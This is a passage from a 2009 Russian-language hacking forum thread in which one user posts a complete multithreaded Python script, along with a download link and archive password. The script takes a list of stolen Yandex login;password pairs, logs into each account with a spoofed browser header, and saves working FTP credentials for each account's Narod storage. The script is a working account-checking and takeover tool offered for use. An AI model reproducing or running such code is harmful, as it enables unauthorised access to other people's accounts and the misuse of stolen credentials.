ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ_OLD > Уязвимости > E-Mail
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 23.03.2009, 21:01
НTL
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
Провел на форуме:
5209663

Репутация: 357


Отправить сообщение для НTL с помощью ICQ
По умолчанию

Цитата:
Сообщение от login999  
скинь 1-2 акка в личку -гляну, если там ничего заковыристого нету, то накорябаю на питоне
Там надо войти и нажать 1 кнопку
 

  #12  
Старый 23.03.2009, 22:30
login999
Постоянный
Регистрация: 12.06.2008
Сообщений: 654
Провел на форуме:
4512757

Репутация: 973


По умолчанию

Код:
#! /usr/bin/env python
# -*- coding:windows-1251 -*-
#yandex ftp-activator
#(c)[NDC] login999
#http://forum.devisible.ru

import re
import urllib2
import urllib
import cookielib
import time
import threading
from Queue import Queue
queue = Queue()

def master_Thread(queu):
    iterator = iter(accounts)
    while True:
        try:
            if queu.qsize() < threads_count*3:
                for x in xrange(threads_count*3):
                    account = iterator.next()
                    queu.put(account[:-1])
        except StopIteration:
            return
        else:
            time.sleep(0.01)

def write_to_log (mess):
    with open ("log.txt", "a") as log:
        log.write(mess + "\n")
        
def write_succ (mess):
    with open ("succ.txt", "a") as log:
        log.write(mess.lower() + "\n")
        
def write_bad (mess):
    with open ("bad.txt", "a") as log:
        log.write(mess.lower() + "\n")

def Login():
    while True:
        try:
            login_pass = queue.get(False).split(";")
        except:
            write_to_log("All accounts was used")
            return
        login = login_pass[0]
        password = login_pass[1]
        cookie = cookielib.CookieJar()
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
        urllib2.install_opener(opener)
        headers = {"User-Agent" : "Opera/9.64 (Windows NT 5.1; U; en) Presto/2.1.1" }
        data_s = {
            "login":login,
            "passwd":password,
            "retpath":"http://narod.yandex.ru"
            }
        send_data = urllib.urlencode(data_s)
        u_request = urllib2.Request("http://passport.yandex.ru/passport?mode=mauth", send_data, headers)
        try:
            login_page = str(urllib2.urlopen(u_request).read())
        except:
            queue.put(login_pass)
            write_to_log("Connection Error :" + login + ":" + password + " on logging in")
        else:
            if "http://passport.yandex.ru/passport?mode=logout" in login_page:
                write_to_log("Logged in success for account :" + login + ":" + password)
                u_request = urllib2.Request("http://narod.yandex.ru/disk/narod/", None, headers)
                try:
                    login_page = str(urllib2.urlopen(u_request).read())
                except:
                    queue.put(login_pass)
                    write_to_log("Connection Error :" + login + ":" + password + " on loading disk")
                else:
                    if "/filemanager/" in login_page:
                        write_succ("ftp://" + login.split("@")[0] + ":" + password + "@ftp.narod.ru")
                    else:
                        write_bad(login_page)
            else:
                queue.put(login_pass)
                write_to_log("Not logged in for account :" + login + ":" + password)
accounts_file = raw_input("Accounts FileName (login;pass):")
threads_count = int(raw_input("How many Threads ?:"))
with open (accounts_file, "r") as accounts:
    threading.Thread(target = master_Thread, args = [queue]).start()
    for x in xrange(threads_count):
        threading.Thread(target = Login).start()
Пробуй это , вроде работает
Если будет ругаться, качай отсюда: http://webfile.ru/3296652
Пароль : antichat.ru
инструкция по установке и запуску Python : http://forum.devisible.ru/showthread.php?t=182
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ